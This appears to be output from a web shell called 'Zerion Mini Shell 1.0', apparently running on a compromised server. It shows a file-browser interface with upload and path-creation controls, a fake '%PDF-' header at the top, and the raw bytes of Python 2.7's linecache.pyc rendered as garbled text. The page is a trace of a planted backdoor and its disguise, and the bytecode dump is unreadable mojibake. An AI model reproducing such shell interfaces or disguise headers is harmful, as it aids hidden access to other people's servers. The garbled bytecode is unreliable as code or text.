%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/linecache.pyc

ó
Mźįac@spdZddlZddlZdddgZdd„Ziad„Zdd„Zdd	„Z	dd
„Z
dS(sµCache lines from files.

This is intended to read lines from modules imported -- hence if a filename
is not found, it will look down the module search path for a file by
that name.
i’’’’Ntgetlinet
clearcachet
checkcachecCsEt||ƒ}d|ko,t|ƒknr=||dSdSdS(Nit(tgetlinestlen(tfilenametlinenotmodule_globalstlines((s%/usr/local/lib/python2.7/linecache.pyR
s"cCs
iadS(sClear the cache entirely.N(tcache(((s%/usr/local/lib/python2.7/linecache.pyRscCsI|tkrt|dSyt||ƒSWntk
rDtƒgSXdS(ssGet the lines for a file from the cache.
    Update the cache if it doesn't contain an entry for this file already.iN(R
tupdatecachetMemoryErrorR(RR((s%/usr/local/lib/python2.7/linecache.pyR!s
cCsŠ|dkrtjƒ}n|tkr3|g}ndSx’|D]Š}t|\}}}}|dkrlq>nytj|ƒ}Wntjk
rŸt|=q>nX||jks¾||jkr>t|=q>q>WdS(sUDiscard cache entries that are out of date.
    (This is not checked upon each call!)N(tNoneR
tkeystoststatterrortst_sizetst_mtime(Rt	filenamestsizetmtimeR	tfullnameR((s%/usr/local/lib/python2.7/linecache.pyR/s 
cCsf|tkrt|=n|s;|jdƒr?|jdƒr?gS|}ytj|ƒ}Wnttk
rĪ|}|r<d|kr<|jdƒ}|d}t|dd	ƒ}|r<|r<y||ƒ}Wnt	t
fk
rąq9X|d	krńgSt|ƒd	g|jƒD]}	|	d^q
|ft|<t|dSq<ntj
j|ƒrRgSxztj
D]g}
ytj
j|
|ƒ}Wnttfk
r—q\nXytj|ƒ}PWq\tjk
rĀq\Xq\WgSnXy(t|dƒ}|jƒ}Wd	QXWnt
k
rgSX|r9|d
jdƒr9|d
cd7<n|j|j}
}|
|||ft|<|S(s”Update a cache entry and return its list of lines.
    If something's wrong, print a message, discard the cache entry,
    and return an empty list.t<t>t
__loader__t__name__t
get_sources
itrUNi’’’’(R
t
startswithtendswithRRtOSErrortgettgetattrR
tImportErrortIOErrorRt
splitlinestpathtisabstsystjoint	TypeErrortAttributeErrorRtopent	readlinesRR(RRRRtbasenametnametloaderRtdatatlinetdirnametfpR	RR((s%/usr/local/lib/python2.7/linecache.pyRHs\
%

-
(t__doc__R(Rt__all__R
RR
RRRR(((s%/usr/local/lib/python2.7/linecache.pyt<module>s
	

Zerion Mini Shell 1.0